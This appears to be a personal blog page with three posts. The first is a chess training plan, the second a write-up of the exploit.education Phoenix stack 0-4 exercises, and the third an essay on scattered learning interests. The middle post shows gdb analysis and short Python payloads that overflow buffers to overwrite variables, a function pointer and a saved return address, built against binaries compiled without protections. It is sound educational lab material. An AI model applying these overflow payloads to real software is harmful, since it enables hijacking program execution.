Categories
Chess

Chess Challenge 2024

One of my strongest childhood memories is the first time I saw a game on this magical machine called personal computer in the early 90s. The game was called Battle Chess and at the time, I knew nothing about chess except how the pieces moved and that you had to “make the king run out of places to hide”. My eight year old self was fascinated that you could play games against a computer and it could actually beat you. I also loved the quirky animations when pieces were captured. I spend hours trying to get all captures done so I could see different animations. Pawn takes knight was just the greatest thing for a small boy to laugh about. I also loved moving the rook around because of the animations and to this day, sometimes I say “rook eats queen”. And while I think that this magical encounter with Battle Chess was the moment that lead to my interest in computers and later artificial intelligence, I quickly moved on to other games. But there was a small spark because over the years I have always been sort of interested in chess without putting any serious effort into it. I played against friends occasionally but that was it. Every now and then I even tried to get good at the game but it was mostly an intellectual endeavor as I simply didn’t play many games. I own a couple of chess books and tried to understand openings about five years ago but that’s about it.

This January I was running out of podcasts to listen to during my commute and for some reason I searched for “chess podcasts” and found the Perpetual Chess podcast. I scrolled through the episodes and the first one I listened to was episode #366 “GM Raven Sturt” because I found the idea of a largely self taught GM fascinating. I loved the episode and searched for Raven’s Youtube channel. During my next long train ride, I watched some of the videos where he tries to coach his editor Kevin up the rankings until 2200 on chess.com. I though to myself…interesting, maybe I can try to do that (minus the GM coach). So let’s finally try to get good at chess. Alas, I have a job and other obligations in life so I’ll only be able to practice for 1-2h per day on average.

2200 – Can it be done?

Since the target for Kevin was 2200 I started there. So down the rabbit hole I went. I gave myself roughly a week to research about chess, relearn some basics and gather information. I started with a couple of questions:

  • Is 2200 a realistic goal and if not, what is (and why this number 2200)?
  • How fast can someone over 40 like myself even improve, are there limits?
  • Have people done this before?
  • How could I go about this?

The first thing I did was research a bit what sites there are to play on and what these ratings mean. It seems the two big options are chess.com and lichess.org. I even remembered that I have a lichess account (with four rated games!). However ratings don’t seem to be comparable and lichess is quite inflated. So to keep things simple, I’ll play on chess.com. I don’t want to play super fast games but also don’t think I’ll have the time to play longer games so I’ll try rapid.

After settling on a site and time control to play, I simply checked ratings on the chess.com leaderboard. As of this writing, If you’d be rated 2200 for rapid on chess.com you’d already be #2793 in the world. If you only look at one country, you’d be #398 in the U.S. for example. In Germany you’d be #114, France #105, India #181 and in Norway, home of the best player in the world, you’d be #17. According to this reddit post about chess.com percentiles from April 2023:

  • 2200 means you are better than 99.93% of players
  • 1800 means you are still better than 99% of players
  • 1200 means you are roughly better than 90% of players
  • 1000 means your are roughly better than 80% of players

I also started to build a list of resources and interesting Youtube channels and there’s a pretty interesting Chess Dojo discussion if Neal Bruce can get to 2200. They make a good point saying that it basically means you’re a 1 in 100 type of person if you reach this goal and few people would even try to be better than 99 other people at a gym for example. Sobering but realistic summary. However there are also more positive examples.

My takeaway is that 2200 is a lofty and likely very unrealistic goal. I also figured out that people choose this number because it is the requirement for the Candidate Master title in tournament chess (OTB FIDE rating which is even higher than chess.com rating). 2000 is a very ambitious goal and even 1800 seems hard. And while it’s nice to have some targets it’s probably better to focus on the actual improvement and not some number. I also checked what ELO people that play competitions in Germany have in case I ever want to compete.

Setting targets

As I still want to have some potential milestones, I made this list:

  • 801 – It seems chess.com starts you at 800. Any improvement is a step into the right direction.
  • 1000 – Four digits, pretty cool. Better than 80% of the player pool already. Should be achievable.
  • 1500 – Five hundred points more. Probably very hard to reach, maybe I should set smaller steps…this seems like a level I’d be quite happy to reach.
  • 1800 – Better than 99% of players, OTB this seems to be the “entry level” for league play.
  • 2000 – What a nice and round number. Unlikely. Would be “top 8 team player” for lower level leagues.
  • 2200 – If OTB this means CM title is possible. Also seems to be a rating that would allow playing for the state level senior titles in Germany.
  • 2222 – A nice number and just enough to be top 100 in my country (currently 2218).

So what targets do I pick at the end of the day? I’ll shoot for the 1500 range as an intermediate target (2 years) and see if 2000 is possible in 10 years when I am allowed to play senior events 😀

What I know about chess and training

My current simplified understanding of chess on a higher level is the following:

  • There’s three phases: opening, middle game, endgame
  • There’s a fine balance between tactics and strategy
  • You either win with a fierce attack and mating or by gathering up small strategic advantages and converting them in the endgame

My basic understanding of training priorities is that at the lower levels, tactics trump everything. Not blundering pieces and finding simple tactics should be the highest priority. It’s also commonly recommended not to overdo openings and focus on fundamentals and study endgames a bit but also not too much. One common recommendation, which I first read about in Perpetual Chess Improvement, is to split training into one third tactics, one third games+analyze and one third other things (opening, endgames etc.). I’ve also read a bit about the Woodpecker Method which seems to be a good starting point for tactics.

How others train

HannahSayce

  • Play long time controls (30, 15+10)
  • Keep a live journal while playing (Word document) noting stuff for yourself and villain
  • Annotate games, ideally with friend or coach (at least critical mistakes and missed tactics)
  • Practice tactics: 1h or so per day (recommends aimchess)
  • Calculate entire line before moving pieces
  • Pick opening rep and play it well, become familiar with the ideas, look at master games
    • What plans typically occur (structures, struggle over certain squares)
  • Work on your endgames (she did around 1800+)
    • She recommends 100 Endgames You Must Know (also on chessable)
  • Study master games (she recommends Morphy games)
  • Book recommendations
    • Yasser Seirewan: “Winning Tactics”
    • Jesus de la Villa: “100 Endgames You must Know”
    • Nick de Firmian: “Modern Chess Openings” (no necessarily recommended but she used it), Opening Explorer on chess.com
  • Content creators recommended:

Kamryn

  • Puzzle Rush to warm up, can’t play a game until 3×30 in 3 min PR (before 1h/day until comfortable)
  • 1 Rapid game (anything >10 minutes is not part of the study time)
  • Analyze game afterwards
  • Openings → Check the game just played to make sure you’re playing the opening optimally
  • Calculation over physical board (for tourney go over openings), timer 5 minutes to 30 minutes, position from books

Chess Dojo

  • Principles
    • Long games & analyze
    • Training plans for accountability
    • +/- principle
  • Publish your analysis (a la Botvinik)
  • Under 1000, play faster games to learn not to hang pieces
  • Universal Training Plan (500-1500)
    • Going over your games (review and annotate 50 classical speed games that you have played
      • Tools: Lichess studies, Chessbase, chess.com library
      • Coach is good for this but can be done without
    • Polgar mate in 1s
    • Puzzle Rush score of 5
    • Mate with queen 3x in a row
    • Play vs. peers
    • Memorize Morphy vs. Duke Karl
    • Opening principles video

Perpetual Chess Improvement

  • Play and analyze (meaningful / tournament games) → most important
  • Calculation and pattern recognition
  • Community (coaches, friends, mentors)

What I have done in week 1

  • Decided on openings from books I already own, practice main lines a bit. Sources:
  • Practiced against chess.com bots all the way up until Antonio
  • Tactics training every day with Chess King app (beginner) and bedside reading of Polgar book (50 mate in 1s each night)
  • Watched some Youtube videos on different topics to get a feel

The plan

I’ll try to go for two hours of practice each day to to start and roughly follow the previously mentioned 1/3rds approach.

  • 30 minutes tactics in the Chess Kings Beginner app until all exercises are completed -> repeat when done (woodpecker)
  • One rated rapid game each day (~10 minutes), warm up with puzzle storm on lichess before playing (~10 minutes)
  • Analysis of said game (~30 minutes)
  • Blog post (~10 minutes)
  • Misc studies for 30 minutes (openings, basic endgames)

I’ll do that for one week, reassess and go from there.

Categories
Security

Buffer Overflow Prelude: exploit.education Phoenix 0-4 – Intel 64-Bit

I’ll outline my progress in binary exploitation on Linux. As a target I’m using the Phoenix exercises from exploit.education which can be found at http://exploit.education/phoenix/. However, I don’t use the provided virtual machines but rather copy the code to my local VM. This requires some small changes to the listed code examples, most notably uncommenting the printf() with the BANNER message. One of the reasons for writing this blog post (apart from documenting my process) is the fact that most tutorials I found either use AT&T syntax for the assembly or 32-bit code and I wanted to use Intel syntax on a 64-bit system. I also want to use Python 3 as my scripting language of choice.

Buffer Overflows

The first type of binary exploits that are covered in the exercises are stack based buffer overflows. The canonical tutorial for buffer overflows titled “Smashing the Stack for Fun and Profit” can be found in Phrack 49×14 [1]. The basic idea is to put more data into a buffer than expected and thus have this data flow into areas of memory where it is not supposed to be. Modern day Linux has various protection mechanisms that protect against buffer overflows (like canaries, address space layout randomization and non-executable stacks). To “get around” these mechanisms for exercise purposes, I’m compiling the binaries with the following settings:

gcc -fno-stack-protector -no-pie -z execstack -o phoenix_stack0 phoenix_stack0.c

Disassembly

The disassembly of the main() function of Phoenix 0 (disass main) in gdb shows how the stack is created. Note that I prefer Intel syntax which can be enabled within gdb with set disassembly-flavor intel. We set three breakpoints one at the beginning of main() (b *main) and one before (b *0x0000000000401163) and one after (b *0x0000000000401168) the call to gets().

0x0000000000401146 <+0>:   push  rbp
0x0000000000401147 <+1>:   mov   rbp,rsp
0x000000000040114a <+4>:   sub   rsp,0x60
0x000000000040114e <+8>:   mov   DWORD PTR [rbp-0x54],edi
0x0000000000401151 <+11>:  mov   QWORD PTR [rbp-0x60],rsi
0x0000000000401155 <+15>:  mov   DWORD PTR [rbp-0x10],0x0
0x000000000040115c <+22>:  lea   rax,[rbp-0x50]
0x0000000000401160 <+26>:  mov   rdi,rax
0x0000000000401163 <+29>:  call  0x401040 <gets@plt>
0x0000000000401168 <+34>:  mov   eax,DWORD PTR [rbp-0x10]
0x000000000040116b <+37>:  test  eax,eax
0x000000000040116d <+39>:  je    0x401180 <main+58>
0x000000000040116f <+41>:  lea   rax,[rip+0xe92] # 0x402008
0x0000000000401176 <+48>:  mov   rdi,rax
0x0000000000401179 <+51>:  call  0x401030 <puts@plt>
0x000000000040117e <+56>:  jmp   0x40118f <main+73>
0x0000000000401180 <+58>:  lea   rax,[rip+0xeb9] # 0x402040
0x0000000000401187 <+65>:  mov   rdi,rax
0x000000000040118a <+68>:  call  0x401030 <puts@plt>
0x000000000040118f <+73>:  mov   edi,0x0
0x0000000000401194 <+78>:  call  0x401050 <exit@plt>

In the code, the base pointer (rbp) which represents the bottom of the previous stack is pushed onto the stack so that it can be restored later (<+0>). The push instruction also decreases rsp to point to the new top of the stack. Next, the stack pointer (rsp) is moved into rbp which creates a new base for our new stack which is used for main() (<+1>). Next, 0x60 (96 decimal or 24 words if a word is 4 byte) is subtracted from rsp and thus that’s the space that is reserved for the stack (<+4>).

According to the 64bit ABI [2], the first six arguments of functions are stored in registers. rdi (and thus edi) contains the first argument to a function and rsi contains the second argument (the 3rd, 4th, 5th and 6th arguments are stored in rdx, rcx, r8 and r9). Since this is the main() function, those are argc (edi) and **argv (rsi) respectively. Next, the arguments are moved from registers to memory. edi/argc is moved to the memory at [rbp-0x54] (<+8)> and rsi / **argv is moved to the memory at [rbp-0x60] (<+11>). After that, locals.changeme (at rbp-0x10) is set to 0 (<+15>). Finally, locals.buffer (at rbp-0x50) is loaded to eax (<+22>) and eax is moved into rdi to make this the first argument for the next function call (<+26>) which is gets() (<+29>).

Stack

On x86, the stack “grows” from high numbers to low numbers. Thus, the bottom of the stack (rbp points to the bottom) has a higher number in address space than the top (rsp points to the top). You can check the allocated memory for the stack in gdb by running info proc mappings and find more information about the stack frame by issuing info frame n where n is the number of the frame (all frames can be listed by running bt). In gdb, running x/30wx $rsp will display the next 30 words of memory starting at $rsp and display everything in hex. Note that gdb displays the high memory addresses at the bottom (so you can visualize the stack growing up) and each group of 8 hex digits represents one word (4 bytes) because two hex digits represent one byte.

At this point in time, the stack looks like this:

  • rbp is at 0x7fffffffde80
  • locals.changeme (rbp-0x10) is at 0x7fffffffde70 (0x00000000)
  • The space for locals.buffer (rbp-0x50) starts at 0x7fffffffde30
  • argc (rbp-0x10) is at 0x7fffffffde2c (0x00000001)
  • **argv (rbp-0x60) is at 0x7fffffffde20
  • rsp is at 0x7fffffffde20
(gdb) x/30wx $rsp
0x7fffffffde20:0xffffdf78 0x00007fff 0x00000000	0x00000001
0x7fffffffde30:0x00000000 0x00000000 0x00000000	0x00000000
0x7fffffffde40:0x00000000 0x00000000 0x004011e5	0x00000000
0x7fffffffde50:0x00000000 0x00000000 0x004011a0 0x00000000
0x7fffffffde60:0x00000000 0x00000000 0x00401060	0x00000000
0x7fffffffde70:0x00000000 0x00007fff 0x00000000 0x00000000
0x7fffffffde80:0x00000000 0x00000000 0xf7dfd7fd	0x00007fff

In order to overflow locals.buffer (which starts at 0x7fffffffde30 or rbp-0x50) and write to locals.changeme (located at 0x7fffffffde70 or rbp-0x10), we have to send > 16 words to gets() because (0x50-0x10)/4 = 16. So if we input the following string (note that each character is one byte so a block like AAAA is four bytes or one word): “AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ”, this should overwrite locals.changeme.

0x7fffffffde20:0xffffdf78 0x00007fff 0x00000000	0x00000001
0x7fffffffde30:0x41414141 0x42424242 0x43434343	0x44444444
0x7fffffffde40:0x45454545 0x46464646 0x47474747	0x48484848
0x7fffffffde50:0x49494949 0x4a4a4a4a 0x4b4b4b4b 0x4c4c4c4c
0x7fffffffde60:0x4d4d4d4d 0x4e4e4e4e 0x4f4f4f4f 0x50505050
0x7fffffffde70:0x51515151 0x00007f00 0x00000000	0x00000000
0x7fffffffde80:0x00000000 0x00000000 0xf7dfd7fd	0x00007fff
0x7fffffffde90:0xffffdf78 0x00007fff

And indeed this does the trick.

(gdb) c
Continuing.
Well done, the 'changeme' variable has been changed!

Command line exploit

With this information, it is possible to exploit the program without gdb by passing this string on the command line.

└─$ python -c "print('AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ')" | ./phoenix_stack0
Well done, the 'changeme' variable has been changed!

Phoenix 1

Phoenix 1 is similar to Phoenix 0, except we are supposed to change locals.changeme to the specific byte sequence 0x496c5962. Since everything else is the same, we already know that our padding before we reach locals.changeme is 16 words or 64 bytes. The following python script will produce the string that we need:

#!/usr/bin/python

import struct

pad = "\x41" * 64
payload = struct.pack("I", 0x496c5962)
print(pad+payload.decode())

We save the script as shell_maker.py and make it executable with chmod +x and voila:

└─$ ./phoenix_stack1 `./shell_maker.py`                            
Well done, you have successfully set changeme to the correct value

Phoenix 2

Phoenix 2 is similar to Phoenix 0 and 1, except that we are supposed to overflow the buffer from an environment variable and change locals.changeme to 0x0d0a090a. So we simply change the payload in our script to 0x0d0a090a, set the environment variable and run the code.

└─$ export ExploitEducation=`./shell_maker.py`
└─$ ./phoenix_stack2                          
Well done, you have successfully set changeme to the correct value

Phoenix 3

For Phoenix 3, we are asked to override a function pointer (a slight change in the printf of complete_level is required to get the program to run). To find the correct address, we can use gdb and simply disass complete_level:

Dump of assembler code for function complete_level:
   0x0000000000401166 <+0>:	push   rbp
   0x0000000000401167 <+1>:	mov    rbp,rsp
   0x000000000040116a <+4>:	lea    rax,[rip+0xe97]        # 0x402008
   0x0000000000401171 <+11>:	mov    rdi,rax
   0x0000000000401174 <+14>:	call   0x401030 <puts@plt>
   0x0000000000401179 <+19>:	mov    edi,0x0
   0x000000000040117e <+24>:	call   0x401070 <exit@plt>
End of assembler dump.

Now that we know that our address is 0x401166, we can simply change the payload in shell_maker.py to this value and run the following:

└─$ ./shell_maker.py | ./phoenix_stack3   
calling function pointer @ 0x401166
Congratulations, you've finished :-) Well done!

Phoenix 4

Phoenix 4 requires us to overwrite the saved instruction pointer. After setting breakpoints on main() and before and after the call to gets(), we can supply a long string and see what happens. We supply “AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ” and check the backtrace with bt.

(gdb) bt
#0  0x00000000004011ac in start_level ()
#1  0x5858585857575757 in ?? ()
#2  0x5a5a5a5a59595959 in ?? ()
#3  0x0000000100000000 in ?? ()
#4  0x0000000000000000 in ?? ()

As we can see, frame one gets overwritten by 0x57s. Python tells us, that this is the ASCII character ‘W’ and we can calculate the length of our padding to be 88 bytes.

>>> chr(0x57)
'W'
>>> len('AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV')
88

Back in gdb, we find the address of complete_level(), which is 0x401156.

(gdb) disass complete_level 
Dump of assembler code for function complete_level:
   0x0000000000401156 <+0>:	push   rbp
   0x0000000000401157 <+1>:	mov    rbp,rsp
   0x000000000040115a <+4>:	lea    rax,[rip+0xea7]        # 0x402008
   0x0000000000401161 <+11>:	mov    rdi,rax
   0x0000000000401164 <+14>:	call   0x401030 <puts@plt>
   0x0000000000401169 <+19>:	mov    edi,0x0
   0x000000000040116e <+24>:	call   0x401060 <exit@plt>
End of assembler dump.

Armed with these two pieces of information, we can change our shell_maker.py and run it.

#!/usr/bin/python

import struct

pad = "\x41" * 88
payload = struct.pack("I", 0x401156)
print(pad+payload.decode())
└─$ ./shell_maker.py | ./phoenix_stack4                                             
and will be returning to 0x401156
Congratulations, you've finished :-) Well done!

[1] http://phrack.org/issues/49/14.html

[2] https://raw.githubusercontent.com/wiki/hjl-tools/x86-psABI/x86-64-psABI-1.0.pdf

Categories
Learning

The Curse of the Intellectual Omnivore

I like to learn things. I don’t know why but I’m always looking towards new things to dive into. However, I rarely take a deep dive. That’s a problem.

My bookshelf is a hodgepodge of things I was interested in for a short time, before the interest faded away. Economics, psychology, writing, quantum mechanics, almost a dozen programming languages, brewing beer, chess, accounting, investment, negotiation, marketing even learning about learning. The list goes on. I’ve also started to learn some extra languages apart from my native German and the lingua franca of the world, English. Japanese, Korean and Russian didn’t go beyond half a year, even my French is pretty rusty and I used to live in France for a couple of years. Currently, I’m learning Vietnamese.

It seems like I am attracted to new and shiny things and always have a “I’d love to learn/do this” list available. This blog is a good example. I started it, left it empty for a couple of years then posted a bit about computer security (with the plan to work towards a shiny OSCP certificate eventually) and then left it idle for over a year.

It’s not all bad though. I have developed a pretty wide range of superficial knowledge. I could have reasonable but shallow conversations about many topics at any given dinner party. Maybe this isn’t bad in a day and age where deeper knowledge about any topic is only a search engine query away. It’s certainly not bad to have a loose collection of tidbits on various topics floating in my brain. But it feels like I’m forever stuck in a mode where I know enough about a topic that it could be useful if I’d dedicate one more week to it.

A programming language like Elixir is a good illustration of this point. I read a book and a couple of tutorials, I did a couple of exercises, I understand the concepts and can relate them to other programming languages. However, I couldn’t in good conscience put it on my CV as a skill or even solve a simple tasks if someone asked me to do that right now. But if my life depended on it, I could probably build some medium sized project in Elixir in a week or two (granted it wouldn’t be great).

I’m not sure why I’m wired like this but there are exceptions to the rule. Most notably, I have stuck with two hobbies for a (relatively) long time. One is solitaire board games and the other is bouldering. Interestingly both are easy to start and complete in a set time frame, come with clear rewards and some sort of progression. You can read the rules for a board game and start playing immediately. There’s a clear win condition and you can certainly get better. Bouldering is an even better illustration. Each route that you climb is like a small project and you can “win” it or improve step by step and eventually win it. There’s also a higher level of progression because over time, you’ll be able to climb higher grades. Additionally, it’s very easy to start and complete your first route, even if you’ve never done any climbing before.

Another thing I have noticed is that I always tend to overflow with ideas and things to try. That is why I’ll try to implement a dual strategy in the future. Firstly, I’ll limit myself to five items of study. Secondly, I’ll try to “make things more like bouldering”.

Here’s the list of the five things I’m currently most interested in, roughly ordered by level of interest:

  • Machine Learning
  • Computer Security
  • Hardware (micro controllers, robots, FPGAs)
  • DevOps
  • Developing a toy operating system

As a first step, I’ll try to keep track of how much time I spent on each of these activities and I’ll try to make things finishable, rewarding and I’ll try to find some sense of progression.